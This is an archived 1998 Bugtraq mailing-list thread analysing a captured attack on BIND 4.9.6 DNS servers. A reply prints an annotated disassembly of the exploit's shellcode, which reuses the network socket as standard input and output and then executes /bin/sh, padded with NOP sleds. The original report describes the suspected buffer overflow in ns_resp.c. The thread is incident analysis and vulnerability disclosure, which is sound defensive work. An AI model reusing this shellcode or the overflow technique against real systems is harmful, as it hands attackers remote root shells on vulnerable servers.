I disassembled the packets and as you can see below, thats code to
execute /bin/sh.
Sebastian
# objdump -lD -b binary --start=0x1fb7 --architecture=i386 scanme2 | less
scanme2: file format binary
No symbols in "scanme2".
Disassembly of section .data:
00001fb7 <.data+0x1fb7>:
;-------------------------------------------------------------------------------------------------------
; Duplicate descriptor 4 to stdin (which is probably the socket)
.... lots of nops deleted
1fb7: 31 c0 xorl %eax,%eax
1fb9: b0 3f movb $0x3f,%al
1fbb: 31 db xorl %ebx,%ebx
1fbd: b3 04 movb $0x4,%bl
1fbf: 31 c9 xorl %ecx,%ecx
1fc1: cd 80 int $0x80
; Dup stdout too
1fc3: 31 c0 xorl %eax,%eax
1fc5: b0 3f movb $0x3f,%al
1fc7: b1 01 movb $0x1,%cl
1fc9: cd 80 int $0x80
1fcb: 31 c0 xorl %eax,%eax
1fcd: b0 3f movb $0x3f,%al
1fcf: b1 02 movb $0x2,%cl
1fd1: cd 80 int $0x80
1fd3: eb 24 jmp 0x1ff9
; jmp and call returns here, so esi is address of '/bin/sh'
1fd5: 5e popl %esi
1fd6: 8d 1e leal (%esi),%ebx
1fd8: 89 5e 0b movl %ebx,0xb(%esi)
1fdb: 33 d2 xorl %edx,%edx
1fdd: 89 56 07 movl %edx,0x7(%esi)
1fe0: 89 56 0f movl %edx,0xf(%esi)
1fe3: b8 1b 56 34 12 movl $0x1234561b,%eax
1fe8: 35 10 56 34 12 xorl $0x12345610,%eax
; eax is 0x0b which is ecexve, starts /bin/sh
1fed: 8d 4e 0b leal 0xb(%esi),%ecx
1ff0: 8b d1 movl %ecx,%edx
1ff2: cd 80 int $0x80
; do exit if fail
1ff4: 33 c0 xorl %eax,%eax
1ff6: 40 incl %eax
1ff7: cd 80 int $0x80
1ff9: e8 d7 ff ff ff call 0x1fd5
; this here is '/bin.sh' as string
1ffe: 2f das
1fff: 62 69 6e boundl 0x6e(%ecx),%ebp
2002: 2f das
2003: 73 68 jae 0x206d
2005: 00 90 90 90 90 addb %dl,0x90909090(%eax)
; and lots of nops....
-----Original Message-----
From: System Administrator [SMTP:rootat_private]
Sent: Wednesday, June 17, 1998 12:10 AM
To: BUGTRAQat_private
Subject: Bind 4.9.6 ~ Current | X86 Exploit
My apologies if this problem is already known.
The attached file is a tcpdump written out, of a person i know, testing
a new exploit for bind on me. To read this file and make any sense of it:
tcpdump -vvxr scanme2
It would appear to be another buffer overflow, and triggering it with
sending mass "9090" to something. We are looking further into this, but do
not yet have a exploit for it, but are a bit more concearned with a patch.
It looks like it was spawned off the idea of the inverse query exploit.
Also, at first look it appears the problem probally originates in
ns_resp.c, under the /named directory in source. And the code I sent
happens to corrupt the stack by adding "909090909090~" on the end of
packets, corrupting the stack, crashing named, after leaving a root shell.
It is also rumored that there are two version of this exploit already out,
one a bit more public than the other, this one was the unreleased, not
very public version.
*side note*
Ive definetly got some of this wrong, but any information would be very
helpfull on it.
--------------------
System Administrator
http://www.303.org/~netmask/
rootat_private
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:58:24 PDT